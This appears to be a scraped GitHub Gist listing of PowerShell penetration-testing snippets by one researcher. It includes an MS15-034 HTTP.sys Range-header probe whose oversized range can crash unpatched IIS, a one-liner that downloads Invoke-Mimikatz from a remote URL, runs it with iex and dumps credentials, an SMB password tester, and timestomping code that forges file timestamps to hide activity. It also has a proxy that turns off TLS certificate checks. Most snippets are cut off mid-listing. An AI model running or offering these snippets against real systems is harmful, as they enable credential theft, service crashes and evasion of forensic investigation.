Skip to content

Instantly share code, notes, and snippets.

powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}
@obscuresec
obscuresec / base64padding.ps1
Created April 15, 2015 17:58
Base64 Padding in PowerShell
# define and encode test data
$TestString = 'This is a test. A short test for encoding and padding.'
$Encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($TestString))
# insert random '='
$Length = $Encoded.Length
$RandomChar = 1..($Length - 3) | Get-Random
$Encoded = $Encoded.Insert($RandomChar,'=')
# strip out '='
function Test-MS15034($url) {
try {
$wr = [Net.WebRequest]::Create($url)
$wr.AddRange('bytes',18,18446744073709551615)
$res = $wr.GetResponse()
$status = $res.statuscode
Write-Output "$status means it is not vulnerable"
$res.Close()
}catch {
if ($Error[0].Exception.InnerException.Response.StatusCode -eq '416') {Write-Output "Site is vulnerable"}
@obscuresec
obscuresec / test-ms15034.ps1
Last active August 29, 2015 14:19
MS15-034 Test
function Test-MS15034($url) {
try {
$wr = [Net.WebRequest]::Create($url)
$wr.AddRange('bytes',234234,28768768)
$res = $wr.GetResponse()
$status = $res.statuscode
Write-Output "$status means it is not vulnerable"
$res.Close()
}catch {
if ($Error[0].Exception.InnerException.Response.StatusCode -eq '416') {Write-Output "Site is vulnerable"}
@obscuresec
obscuresec / gist:104edc53459715214226
Created February 2, 2015 18:16
Resolve a Subnet (dirty)
Function Get-SubnetResolution {
$Subnet = '74.125.228' #change this
$Wait = 2 #Seconds to wait between resolution
$HostRangeLow = 1
$HostRangeHigh = 10
$Range = $HostRangeLow..$HostRangeHigh
#Instantiate once
$DnsObject = [Net.DNS]
@obscuresec
obscuresec / gist:df5f652c7e7088e2412c
Created September 4, 2014 04:59
Test-SmbPassword.ps1
function Test-SmbPassword {
<#
.SYNOPSIS
Tests a username and password to see if it is valid against a remote machine or domain.
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@obscuresec
obscuresec / gist:f24832d8b02288ab6532
Created May 20, 2014 18:46
Testing Invoke-Mimikatz
$wc=new-object net.webclient
$im=$wc.downloadstring('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
iex $im
invoke-mimikatz -DumpCreds
@obscuresec
obscuresec / gist:25e8a142eb08bf237799
Last active October 4, 2018 08:03
Touch for PowerShell
function Set-MacAttribute {
<#
.SYNOPSIS
Sets the modified, accessed and created (Mac) attributes for a file based on another file or input.
PowerSploit Function: Set-MacAttribute
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
@obscuresec
obscuresec / gist:7b0cf71d7a8dd5e7b54c
Created May 20, 2014 00:28
PowerShell TimeStomp
PowerShell.exe -com {$file=(gi c:\demo\test.txt);$date='01/03/2006 12:12 pm';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date}
@obscuresec
obscuresec / psproxy.ps1
Created May 19, 2014 01:17
Simple but dirty Powershell web proxy
#simple and dirty proxy
#usage: http://127.0.0.1:8000/?url=http://www.obscuresec.com
$Up = "http://+:8000/"
$Hso = New-Object Net.HttpListener
$Wco = New-Object Net.Webclient
#ignore self-signed/invalid ssl certs
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
Foreach ($P in $Up) {$Hso.Prefixes.Add($P)}